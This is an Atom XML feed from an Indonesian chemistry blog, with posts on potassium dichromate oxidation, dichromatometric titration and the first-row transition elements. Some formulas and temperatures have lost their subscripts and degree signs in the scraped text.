<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5086261943719715810</id><updated>2011-10-21T06:21:31.924-07:00</updated><title type='text'>Do more . . .</title><subtitle type='html'>,, &amp;gt;_&amp;lt; &amp;quot;
Waktumu, waktu adalah kehidupan manusia; jika digunakan untuk membaca akan menjadi sumber kebijaksanaan; jika digunakan untuk berpikir akan menjadi kekuatan; jika digunakan untuk berdoa akan menjadi keberkahan dan rahmat; jika digunakan untuk bekerja akan menjadi keberhasilan; jika digunakan untuk beramal akan menghantarkan menuju surga,</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>16</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-4482988229478819207</id><published>2010-02-14T07:32:00.000-08:00</published><updated>2010-02-14T07:33:53.630-08:00</updated><title type='text'>Oksidasi dengan Kalium Dikhromat</title><content type='html'>Kalium Dikhromat (K2Cr2O7) bukanlah zat pengoksidasi yang begitu kuat seperti Kalium Permanganat (KMnO4), tetapi ia mempunyai beberapa keuntungan yaitu dapat diperoleh murni, stabil sampai titik leburnya dan karenanya merupakan suatu standar primer yang sangat baik&lt;span class="fullpost"&gt;&lt;br /&gt;Larutan standar dengan kekuatan yang diketahui tepat dapat disiapkan dengan menimbang garam keringnya yang murni dan kelarutannya dalam volum air yang sesuai. Lebih jauh larutannya dalam air adalah stabil tanpa batas waktu jika dilindungi dengan memadai terhadap penguapan. Kalium Dikhromat (K2Cr2O7) digunakan hanya dalam larutan asam, dan direduksi dengan cepat pada temperatur biasa menjadi garam Kromium (III) yang hijau. Ia tak direduksi oleh Asam Klorida (HCl) dingin, asalkan konsentrasi asam itu tak melampaui 1 atau 2 Molar.&lt;br /&gt;Larutan-larutan Dikhromat juga kurang mudah direduksi oleh beban organik dibanding larutan-larutan Permanganat dan juga stabil terhadap cahaya. Karena itu, Kalium Dikhromat berharga khusus dalam penetapan besi dalam bijih besi: Bijih besi itu biasanya dilarutkan dalam Asam Klorida, Besi (III) direduksi menjadi Besi (II), dan dititrasi dengan larutan Dikhromat standar.&lt;br /&gt;Cr2072- + 6 Fe2+ + 14 H+ ↔     2 Cr3+ + 6 Fe3+ + 7 H2O&lt;br /&gt;Dalam larutan asam, reduksi Kalium Dikromat dapat dinyatakan sebagai :&lt;br /&gt;Cr2072- + 14 H+ + 6 e ↔        2 Cr3+ + 7 H2O&lt;br /&gt;Jadi ekuivalennya adalah seperenam mol, yaitu 294,18/6 atau 49,030 g. Maka suatu larutan 0,1 N mengandung 4,9030 g dm-3.&lt;br /&gt;Warna hijau yang ditumbulkan oleh ion-ion Cr3+ yang terbentuk oleh reduksi Kalium Dikhromat membuat tak mungkin titik akhir suatu titrasi dengan Dikhromat hanya dengan meneliti larutan secara visual sehingga harus digunakan suatu indikator redoks yang memberi perubahan warna yang kuat dan tak bisa disalahtafsirkan. Indikator yang sesuai untuk digunakan dengan titrasi Dikhromat meliputi asam 2 N-Fenilan Tranilat (larutan 0,1 % dalam NaOH 0,005 M) dan Natrium Difenilaminasufonat atau senyawa Na/Badifenilamina Sulfonat (larutan 0,2 % dalam air). Indikator ini hanya digunakan dalam suasana Asam Sulfat-Asam Fosfat.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-4482988229478819207?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/4482988229478819207/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/oksidasi-dengan-kalium-dikhromat.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/4482988229478819207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/4482988229478819207'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/oksidasi-dengan-kalium-dikhromat.html' title='Oksidasi dengan Kalium Dikhromat'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-7626448293464374603</id><published>2010-02-14T07:29:00.000-08:00</published><updated>2010-02-14T07:31:10.148-08:00</updated><title type='text'>Metode Titrasi Dikhromatometri</title><content type='html'>Titrimetri atau volumetri merupakan suatu cara analisis jumlah yang berdasarkan pengukuran volume larutan yang diketahui kepekatan (konsentrasi) secara teliti yang direaksikan dengan larutan contoh yang akan ditetapkan kadarnya&lt;span class="fullpost"&gt;&lt;br /&gt;Metode Titrasi Dikhromatometri&lt;br /&gt;Titrimetri atau volumetri merupakan suatu cara analisis jumlah yang berdasarkan pengukuran volume larutan yang diketahui kepekatan (konsentrasi) secara teliti yang direaksikan dengan larutan contoh yang akan ditetapkan kadarnya. Dalam hal ini terdapat dua jenis bahan baku, yakni:&lt;br /&gt;1.        Bahan baku primer, digunakan untuk menetapkan standarisasi bahan baku sekunder. Ditempatkan sebagai titrat.&lt;br /&gt;2.        Bahan baku sekunder, yang ditetapkan normalitasnya dengan bahan baku primer. Ditempatkan sebagai titran.&lt;br /&gt;Terdapat beberapa jenis metode titrasi, diantaranya titrasi metatetik dan titrasi redoks. Dikhromatometri termasuk ke dalam titrasi redoks, karena dalam reaksinya terjadi perpindahan elektron atau perubahan bilangan oksidasi. Seperti yang diketahui bahwa kemungkinan terjadinya reaksi redoks dapat dilihat dari 2 hal berikut:&lt;br /&gt;1.      Terjadi perubahan bilok (bilangan oksidasi).&lt;br /&gt;2.      Bila ada zat reduktor maupun oksidator (dalam hal ini, kalium dikhromat selain berfungsi sebagai bahan baku juga sebagai oksidator).&lt;br /&gt;Kalium dikhromat dalam keadaan asam mengalami reduksi menjadi Cr3+.&lt;br /&gt;Reaksi:&lt;br /&gt;Cr2O72- + 14 H+ + 6 e       ↔         2 Cr3+ + 7 H2O   E0=1,33 V&lt;br /&gt;Karena daya oksidasinya lebih sedikit dibanding dengan KMnO4 dan Ce (IV). Maka hal ini menyebabkan reaksi sangat lambat. Akan tetapi, dari sifat K2Cr2O7 larutannya sangat stabil, tidak bereaksi dengan (inert terhadap) Cl-, dengan kemurnian tinggi, mudah diperoleh dan murah.&lt;br /&gt;Penggunaan&lt;br /&gt;Terutama untuk penentuan Fe2+, ion klorida dalam jumlah besar tidak mempengaruhi titar ini. Suatu cara tidak langsung untuk menentukan, oksidasi yang diberi larutan Fe2+ berlebihan kemudian kelebihan dititar dengan Standar Dikhromat. Maka cara ini dipakai untuk penentuan NO3-, ClO3-, H2O2, MnO4- dan Cr2O72-.&lt;br /&gt;http://www.chem-is-try.org/materi_kimia/instrumen_analisis/dikhromatometri/metode-titrasi-dikhromatometri/&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-7626448293464374603?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/7626448293464374603/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/metode-titrasi-dikhromatometri.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/7626448293464374603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/7626448293464374603'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/metode-titrasi-dikhromatometri.html' title='Metode Titrasi Dikhromatometri'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-4108801374387058720</id><published>2010-02-13T05:51:00.000-08:00</published><updated>2010-02-13T06:02:13.374-08:00</updated><title type='text'>UNSUR-UNSUR TRANSISI PERIODE PERTAMA</title><content type='html'>UNSUR-UNSUR TRANSISI PERIODE PERTAMA&lt;br /&gt;(Ti, V, Cr, Mn, Fe, Co, Ni dan Cu)&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;UNSUR-UNSUR TRANSISI PERIODE PERTAMA&lt;br /&gt;&lt;br /&gt;(Ti, V, Cr, Mn, Fe, Co, Ni dan Cu)&lt;br /&gt;Unsur-unsur transisi adalah &lt;br /&gt;-Terletak antara unsur golongan alkali tanah dan golongan boron.&lt;br /&gt;-Merupakan unsur logam&lt;br /&gt;-Merupakan unsur-unsur blok d dalam sistem periodik&lt;br /&gt;&lt;br /&gt;Sifat-sifat yang khas dari unsur transisi &lt;br /&gt;-Mempunyai berbagai bilangan oksidasi&lt;br /&gt;-Kebanyakan senyawaannya bersifat paramagnetik&lt;br /&gt;-Kebanyakan  senyawaannya berwarna&lt;br /&gt;-Unsur transisi dapat membentuk senyawa kompleks&lt;br /&gt;&lt;br /&gt;Beberapa sifat logam transisi &lt;br /&gt;BEBERAPA SENYAWAAN YANG DAPAT DIBENTUK OLEH UNSUR TRANSISI&lt;br /&gt;1. Tingkat  Oksidasi &lt;2&lt;br /&gt; - Dengan ligan phi Aseptor&lt;br /&gt;        - Ligan-ligan Organik&lt;br /&gt;        - Ligan Hidrogen &lt;br /&gt;2. Tingkat Oksidasi 2&lt;br /&gt; - Biasanya bersifat ionik&lt;br /&gt; - Oksidanya (MO), bersifat basa&lt;br /&gt; - Memiliki struktur NaCl&lt;br /&gt; - Mampu membentuk kompleks Aquo, dengan jalan &lt;br /&gt;         mereaksikan, logam, oksida, karbonat dalam&lt;br /&gt;         larutan asam dan melalui reduksi katalitik.&lt;br /&gt;3.  Tingkat Oksidasi 3&lt;br /&gt;     - Beberapa senyawaan bersifat stabil terhadap air, kecuali kompleks dari   logam Cu.&lt;br /&gt;     - Flourida (MF3) dan oksidanya (M2O3) bersifat ionik.&lt;br /&gt;     - Senyawaan klorida, bromida, iodida dan sulfida bersifat kovalen.&lt;br /&gt;     - Unsur-unsur Ti – Co membentuk ion-ion oktahedral [M(H2O)]3+&lt;br /&gt;  - Ion Co3+ dan Mn3+ mudah direduksi oleh air.&lt;br /&gt;  - Ion Ti3+ dan V3+ teroksidasi oleh udara.&lt;br /&gt;4.  Tingkat Oksidasi 4&lt;br /&gt;     -   Beberapa contoh senyawaannya antara lain : TiO2, TiCl4, VCl4, VO2+(Vanadil) dapat berperilaku seperti M2+.&lt;br /&gt;     -   Logam-logam dengan tingkat oksidasi 4 dapat membentuk senyawaan kompleks yang bersifat kation, netral dan anion tergantung ligannya.&lt;br /&gt;     -   Diluar unsur Ti dan V, umumnya dikenal sebagai komplek fluoro, dan anion okso.&lt;br /&gt;     -   Beberapa kompleks tetrahedral dapat dibentuk dengan ligan : OR, - NR2,      - CR3, seperti : Cr(OCMe3)4&lt;br /&gt;5.  Tingkat Oksidasi lebih dari samadengan 5, dikenal untuk unsur-unsur V, Cr, Mn, dan Fe dalam &lt;br /&gt;      kompleks flouro, amin okso, misal : CrF5, KmnO4, dan K2FeO4 dan s&lt;br /&gt;      semuanya merupakan zat pengoksidasi yang kuat.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;TITANIUM (Ti)&lt;br /&gt;KELIMPAHAN :&lt;br /&gt;1.   Ilmenite&lt;br /&gt;2.   Rutil &lt;br /&gt;&lt;br /&gt;BEBERAPA PROSES UNTUK MEMPEROLEH LOGAM TITANIUM : &lt;br /&gt;1.   Proses Kroll&lt;br /&gt;2.   Proses van Arkel de Boer&lt;br /&gt;&lt;br /&gt;BEBERAPA SIFAT DARI LOGAM TITANIUM :&lt;br /&gt;1.   Logamnya berstruktur heksagonal memiliki kemiripan sifat dengan logam&lt;br /&gt;      besi dan nikel.&lt;br /&gt;2.   Keras, tahan panas (mp 16800C, bp 32600C)&lt;br /&gt;3.   Penghantar panas dan listrik yang baik&lt;br /&gt;4.  Tahan terhadap korosi, sehingga banyak digunakan untuk mesin turbin,&lt;br /&gt;      industri kimia, pesawat terbang, dan peralatan laut.&lt;br /&gt;5.   Meskipun merupakan unsur yang tidak reaktip dapat bereaksi dengan&lt;br /&gt;      unsur-unsur non logam seperti : hidrogen (H2), Halogen, oksigen, nitrogen, &lt;br /&gt;      karbon, boron, silikon dan sulfur pada temperatur tertentu.&lt;br /&gt;SENYAWAAN TITANIUM (IV)&lt;br /&gt;a.  Halida, &lt;br /&gt;     - TiCl4 (larutan tidak berwarna) terhidrolisis oleh air (mp -230, bp 1360C)&lt;br /&gt;        TiCl4    +    H2O  TiO2   +   4HCl                            &lt;br /&gt;     -  Ti Br4 tidak stabil&lt;br /&gt;     -  TiI4 berbentuk kristal pada temperatur kamar&lt;br /&gt;     -  TiF4 bubuk putih yang higroskopis&lt;br /&gt;b. Titanium oksida dan kompleks oksida&lt;br /&gt;     -  Titanium Oksida&lt;br /&gt;     -  Kompleks Titanium  &lt;br /&gt;SENYAWAAN TITANIUM (III)&lt;br /&gt;Senyawa Biner&lt;br /&gt;- Senyawa Halida&lt;br /&gt;- Senyawa Kompleks&lt;br /&gt;&lt;br /&gt;VANADIUM (V) &lt;br /&gt;KELIMPAHAN :&lt;br /&gt;1. Patronite (kompleks sulfida)&lt;br /&gt;2. Vanadinite &lt;br /&gt;3. Carnotite &lt;br /&gt;4. Bijih Uranium&lt;br /&gt;&lt;br /&gt;Beberapa sifat dari logam vanadium &lt;br /&gt;-Keras, tahan terhadap korosi&lt;br /&gt;-Pada keadaan massive tahan terhadap udara, air, basa, asam non oksidator.&lt;br /&gt;-Larut dalam asam nitrat dan aquaregia.&lt;br /&gt;-Pada kondisi temperatur terkontrol dapat bereaksi dengan oksigen (V2O5) dan nitrogen                nitrida (VN)&lt;br /&gt; &lt;br /&gt;SENYAWAAN VANADIUM&lt;br /&gt;Senyawa Biner &lt;br /&gt;-Halida,  halida dengan tingkat oksidasi +5 VF5 (merupakan cairan tak berwarna (titik leleh 480C).&lt;br /&gt;-VCl4 diperoleh dengan mereaksikan logam vanadium dengan gas klor (Cl2), pada kondisi penyimpanan dapat kehilangan Cl.&lt;br /&gt;     VCl4(Merah)                 VCl3(ungu)                VCl2(hijau pucat)&lt;br /&gt;-Vanadium Oksida (V2O5) diperoleh melalui penambahan H2SO4 encer dalam larutan amonium vanadat.&lt;br /&gt;     2NH4VO3  V2O5  +  2 NH3   +  H2O&lt;br /&gt;-Vanadat dibuat dengan melarutkan vanadium pentoksida pada larutan NaOH&lt;br /&gt;     V2O5     + NaOH   VO43-    +    Na+&lt;br /&gt;-Vanadium oxo halida :&lt;br /&gt;     Contoh :  VOX3 (X = F, Cl, Br), VO2F, VO2Cl, VOF3, dibuat dengan mereaksikan antara V2O5 dengan F2 pada temperatur tertentu.&lt;br /&gt;-Ion dioksovanadium dan vanadium kompleks.&lt;br /&gt;     Dibuat melalui pengasaman ion vanadat&lt;br /&gt;     VO43- + H+   VO2+,   (VO2(H2O)4]+&lt;br /&gt;&lt;br /&gt;KROMIUM (Cr) &lt;br /&gt;Kelimpahan unsur kromium didapat sebagai mineral Chromite (FeCr2O4)&lt;br /&gt;&lt;br /&gt;Untuk memperoleh kromium murni dapat dilakukan dengan &lt;br /&gt;-Mineral Kromite direaksikan dengan basa dan oksigen untuk mengubah Cr(III) menjadi Cr(VI)&lt;br /&gt;-Reduksi Cr(VI)   menjadi Cr(III) dengan karbon&lt;br /&gt;-Reduksi Cr(III) menjadi Cr(0) dengan aluminium&lt;br /&gt;&lt;br /&gt;Beberapa sifat dari logam kromium :&lt;br /&gt;-Logam berwarna putih, keras (mp 19030C).&lt;br /&gt;-Tahan terhadap korosi (digunakan sebagai bahan pelapis melalui proses elektroplating).&lt;br /&gt;-Larut dalam asam-asam mineral (HCl, H2SO4)&lt;br /&gt;-Pada temperatur yang terkontrol kromium dapat bereaksi dengan unsur halogen, belerang, silikon, boron, nitrogen, karbon dan oksigen.&lt;br /&gt;&lt;br /&gt;Senyawaan Kromium&lt;br /&gt;1.  Halida&lt;br /&gt;     -   Halida dari kromium (II) dapat dibuat dengan mereaksikan antara logam kromium dengan asam HF, HCl, HBr dan I2 pada temperatur 6000 – 7000C atau reduksi trihalida dengan H2 pada 500 – 6000C.&lt;br /&gt;     -   Halida dari Cr(III) dapat dibuat dengan melalui :&lt;br /&gt;          a. Mereaksikan dengan SOCl2 pada hidrat klorida.&lt;br /&gt;          b. Sublimasi dengan gas klor pada 6000C.&lt;br /&gt;2.  Oksida&lt;br /&gt;     -   Oksida terpenting dari krom : Cr2O3, CrO2 dan CrO3.&lt;br /&gt;     -  Cr2O3 dapat dibuat dengan membakar logam kromium dalam oksigen, dekomposisi termal dari Cr(IV) oksida.&lt;br /&gt;     -  CrO2 dibuat melalui reduksi hidrotermal dari CrO3.&lt;br /&gt;     -  CrO3 dibuat dengan jalan mereaksikan antara larutan asam dengan Na/K dikromat.&lt;br /&gt;3.  Senyawa biner dari krom yang lain&lt;br /&gt;     Senyawaan sulfida Cr2S3.&lt;br /&gt;&lt;br /&gt;MANGAN (Mn) &lt;br /&gt;KELIMPAHAN, ISOLASI, DAN SIFAT-SIFAT UNSURNYA&lt;br /&gt;- Mangan relatip melimpah dialamsekitar 0,085%. &lt;br /&gt;- Diantara beberapa logam hanya besi yang kelimpahannya melebihi mangan terdapat dalam sejumlah deposit terutama dalam bentuk oksida, oksida hidrat, atau karbonat. &lt;br /&gt;- Mangan juga terdapat dalam nodule pada dasar laut pasifik bersama-sama dengan Ni, Cu, dan Co.&lt;br /&gt;- Logam Mn dapat diperoleh dari oksidanya dengan mereaksikan dengan menggunakan aluminium. &lt;br /&gt;- Penggunaan yang luas dari Mn adalah dalam ferromangan untuk baja.&lt;br /&gt;- Mangan memiliki kemiripan sifat kimia dan fisika dengan besi, dengan perbedaan utama dalam hal kekerasan dan lebih rapuh tetapi sedikit lebih tahan panas (mp 12470 C). &lt;br /&gt;- Mangan lebih elektropositip dan lebih mudah larut dalam larutan encer asam non oksidasi. &lt;br /&gt;SENYAWAAN MANGAN (II)&lt;br /&gt;1. SENYAWA BINER&lt;br /&gt;-   Mangan(II) oksida merupakan bubuk berwarna hijau gelap yang dibuat dari pemanggangan senyawa karbonat dalam hidrogen atau nitrogen atau dapat juga dibuat dari pemanasan MnCl2 pada 6000C.  &lt;br /&gt;-   Mangan (II) sulfida senyawa berwarna merah muda kenuning-kuningan yang diperoleh melalui pengendapan dengan larutan sulfida basa &lt;br /&gt;2. GARAM DARI MANGAN(II), Garam mangan (II) dapat dibentuk dengan hampir semua anion. Garam mangan(II) larut dalam air, walaupun phospat dan karbonat hanya sedikit larut. Hampir semua garam kristal berbentuk hidrat.&lt;br /&gt;&lt;br /&gt;SIFAT KIMIA DARI MANGAN (III) &lt;br /&gt;SENYAWA BINER. Oksida merupakan senyawa terpenting, mangan (III)oksida merupakan hasil &lt;br /&gt;     akhir dari oksidasi Mn atau MnO pada 470 – 6000C membentuk Mn2O3. &lt;br /&gt;Mangan(III) flourida dibuat dengan flourinasi dari MnCl2 atau senyawa lain dan membentuk padatan  merah anggur yang secara sertamerta terhidrolisis oleh air. &lt;br /&gt;&lt;br /&gt;SIFAT KIMIA MANGAN (IV)&lt;br /&gt;SENYAWA BINER. Senyawa biner terpenting mangan dioksida yang merupakan padatan berwarna abu-abu sampai hitam yang dialam terdapat sebagai bijih pyrolusite &lt;br /&gt;TETRAFLOURIDA MnF4, didapat melalui interaksi langsung merupakan padatan biru yang tidak stabil secara lambat terdekomposisi menjadi MnF3 dan F2.&lt;br /&gt;&lt;br /&gt;SIFAT KIMIA MANGAN (VI-VII)&lt;br /&gt;Mangan (VI) yang dikenal sebagai ion manganat MnO42- yang berwarna hijau. Ion ini dibentuk pada oksidasi MnO2 dalam lelehan KOH dengan KNO3, udara atau zat pengoksidasi lain atau melalui penguapan KMnO4 dan larutan KOH &lt;br /&gt;&lt;br /&gt;BESI (Fe) &lt;br /&gt;KELIMPAHAN :&lt;br /&gt;Besi merupakan logam yang melimpah nomor dua (2) setelah logam aluminium dan merupakan&lt;br /&gt;unsur melimpah nomor 4 penyusun kulit bumi. Bahkan inti bumi diyakini mayoritas unsur penyusunnya &lt;br /&gt;adalah besi dan nikel.&lt;br /&gt;&lt;br /&gt;Mineral sumber utama besi (Fe) :&lt;br /&gt;1.  Hematite &lt;br /&gt;2.  Magnetit (Fe3O4)&lt;br /&gt;3.  Limonit (FeO(OH))&lt;br /&gt;4.  Siderit (FeCO3)&lt;br /&gt; &lt;br /&gt;Beberapa metode untuk memperoleh logam besi murni antara lain :&lt;br /&gt;1.  Reduksi besi oksida dengan hidrogen&lt;br /&gt;                   Didapat dari dekomposisi termal dari besi (II) oksalat, karbonat dan nitrat&lt;br /&gt;2.  Elektrodeposisi dari larutan garam besi&lt;br /&gt;3.  Dekomposisi termal dari besi karbonil&lt;br /&gt;&lt;br /&gt;BEBERAPA SIFAT DARI LOGAM BESI&lt;br /&gt;-Merupakan logam berwarna putih mengkilap (mp 15280C)&lt;br /&gt;-Tidak terlalu keras dan agak reaktip, mudah teroksidasi&lt;br /&gt;-Mudah bereaksi dengan unsur-unsur non logam seperti : halogen, sulfur, pospor, boron, karbon dan silikon.&lt;br /&gt;-Kelarutan : larut dalam asam-asam mineral encer.&lt;br /&gt;-SENYAWAAN BESI&lt;br /&gt;Besi hidroksida dan Oksida&lt;br /&gt;1.  Besi hidroksida dibuat dengan menambahkan larutan hidroksida kedalam larutan &lt;br /&gt;     besi (II).&lt;br /&gt;2.  Besi(II)oksida diperoleh melalui proses dekomposisi termal besi(II) oksalat pada &lt;br /&gt;     kondisi vakum.&lt;br /&gt;3.  Besi (III) oksida [FeO(OH)] dapat dibuat dengan cara :&lt;br /&gt;     - Hidrolisis larutan besi(III) klorida pada temperatur tertentu.&lt;br /&gt;     - Oksidasi dari besi(II) hidroksida.&lt;br /&gt;4.  Fe2O3 dibuat dengan memanaskan Besi (III) oksida pada temperatur 2000C.&lt;br /&gt;5.  Fe3O4 dibuat dengan memanaskan Fe2O3 pada temperatur 14000C &lt;br /&gt;&lt;br /&gt;Halida, umumnya hanya berasal dari besi(II) dan besi (III)&lt;br /&gt;-  Halida dari besi tiga dapat dibuat dengan mereaksikan antara unsur halogen &lt;br /&gt;   dengan logam besi. &lt;br /&gt;-  FeI dan FeBr dibuat dengan mereaksikan langsung antar unsur-unsurnya.&lt;br /&gt;-  FeF2 dan FeCl2 direaksikan dengan HF dan HCl untuk memperoleh trihalida&lt;br /&gt;   yang selanjutnya direduksi dengan hidrogen melalui proses pemanasan.&lt;br /&gt;&lt;br /&gt;KOBAL (Co) &lt;br /&gt;KELIMPAHAN :&lt;br /&gt;Unsur kobal dialam selalu didapatkan bergabung dengan nikel dan biasanya juga dengan arsenik. Mineral kobal terpenting antara lain Smaltite (CoAs2) dan kobaltite (CoAsS). Sumber utama kobal disebut “Speisses” yang merupakan sisa dalam peleburan bijih arsen dari Ni, Cu, dan Pb.&lt;br /&gt;&lt;br /&gt;SENYAWAAN KOBAL&lt;br /&gt;1.  OKSIDA. Kobal (II) oksida merupakan senyawa berwarna hijau dibuat melalui pemanasan logam, kobal karbonat, atau nitrat pada suhu 11000C &lt;br /&gt;2.  HALIDA. Halida anhidrat CoX2 dapat dibuat dengan dehidrasi dari hidrat halida dan untuk CoF2 dibuat dengan mereaksikan antara HF dengan CoCl2 &lt;br /&gt;3.  SULFIDA. Dibentuk dari larutan Co2+ yang direaksikan dengan H2S membentuk endapan CoS berwarna hitam.&lt;br /&gt;4.  GARAM. Bentuk garam kobal(II) yang paling sederhana dan merupakan garam hidrat. Semua garam hidrat kobal berwarna merah atau pink dari ion [Co(H2O)6]2+ yang merupakan ions terkoordinasi oktahedral. &lt;br /&gt;5.  KOMPLEKS-KOMPLEKS DARI KOBAL(II) , Ion akuo (Co(H2O)6] merupakan kompleks kobal(II) paling sederhana. &lt;br /&gt;&lt;br /&gt;NIKEL (Ni)&lt;br /&gt;KELIMPAHAN :&lt;br /&gt;1.  Smaltite [Fe,Co,Ni]As&lt;br /&gt;2.  Nikolit [NiAs]&lt;br /&gt;3.  Pentlandite [Ni,Co,Fe]S&lt;br /&gt;4.  Garnierite [Ni,Mg]SiO3xH2O&lt;br /&gt;&lt;br /&gt;SIFAT Ni :&lt;br /&gt;1.   logam putih mengkilap&lt;br /&gt;2.  pada t kamar tidak bereaksi dengan udara dan air&lt;br /&gt;3.  larut dalam HNO3 encer&lt;br /&gt;4.  mp 14500C , bp 28000C&lt;br /&gt;5.  bereaksi dengan H2S menghasilkan endapan hitam&lt;br /&gt;5.  dalam larutan akuatik         Ni[H2O]62+        hijau&lt;br /&gt;6.   membentuk oksida NiO&lt;br /&gt;&lt;br /&gt;SENYAWAAN  NIKEL (Ni)&lt;br /&gt;1. Hidroksida [Ni(OH)2]&lt;br /&gt;2. Klorida [NiCl2]&lt;br /&gt;3. Sulfat [NiSO4.7H2O]&lt;br /&gt;4. Senyawa Kompleks&lt;br /&gt;&lt;br /&gt;TEMBAGA (Cu)&lt;br /&gt;KELIMPAHAN :&lt;br /&gt;  -   Tembaga tersebar luas dialam sebagai logam, dalam bentuk sulfida, arsenida, klorida dan  karbonat. &lt;br /&gt; -    Mineral yang paling umum adalah Chalcopyrite (CuFeS2). &lt;br /&gt; -   Tembaga dapat diisolasi dari mineralnya melalui pemanggangan dan peleburan oksidatip, pencucian dengan bantuan mikroba yang diikuti oleh elektrodeposisi dari larutan sulfat.&lt;br /&gt; -   Tembaga banyak digunakan dalam aliansi seperti kuningan dan bahan campuran emas. &lt;br /&gt;&lt;br /&gt;SENYAWAAN TEMBAGA (I)  &lt;br /&gt;-     SENYAWAAN BINER TEMBAGA (I). Oksida dan sulfida lebih stabil daripada senyawa Cu(II) pada temperatur tinggi &lt;br /&gt;-     KOMPLEK TEMBAGA(I). Jenis kompleks tembaga(I) yang paling umum adalah kompleks yang dibentuk dari ligan halida atau amina dan mempunyai struktur tetrahedral. &lt;br /&gt;&lt;br /&gt;SENYAWAAN  KIMIAWI TEMBAGA (II)&lt;br /&gt;SENYAWA BINER. Tembaga oksida CuO merupakan kristal hitam yang diperoleh melalui pirolisis dari garam nitrat atau garam-garam okso yang lain. CuO terdekomposisi pada suhu diatas 8000C menjadi Cu2O &lt;br /&gt;HALIDA. CuF2 tidak berwarna dengan struktur rutil terdistorsi CuCl2 berwarna kuning, dan CuBr2 berwarna hitam &lt;br /&gt;KIMIAWI ION AKUO DAN LARUTAN AKUO. Pelarutan tembaga, hidroksida, karbonat, dan senyawa-senyawa Cu(II) dalam asam akan membentuk ion akuo yang berwarna hijau kebiruan [Cu(H2O)6]2+. &lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-4108801374387058720?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/4108801374387058720/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/unsur-unsur-transisi-periode-pertama_13.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/4108801374387058720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/4108801374387058720'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/unsur-unsur-transisi-periode-pertama_13.html' title='UNSUR-UNSUR TRANSISI PERIODE PERTAMA'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' 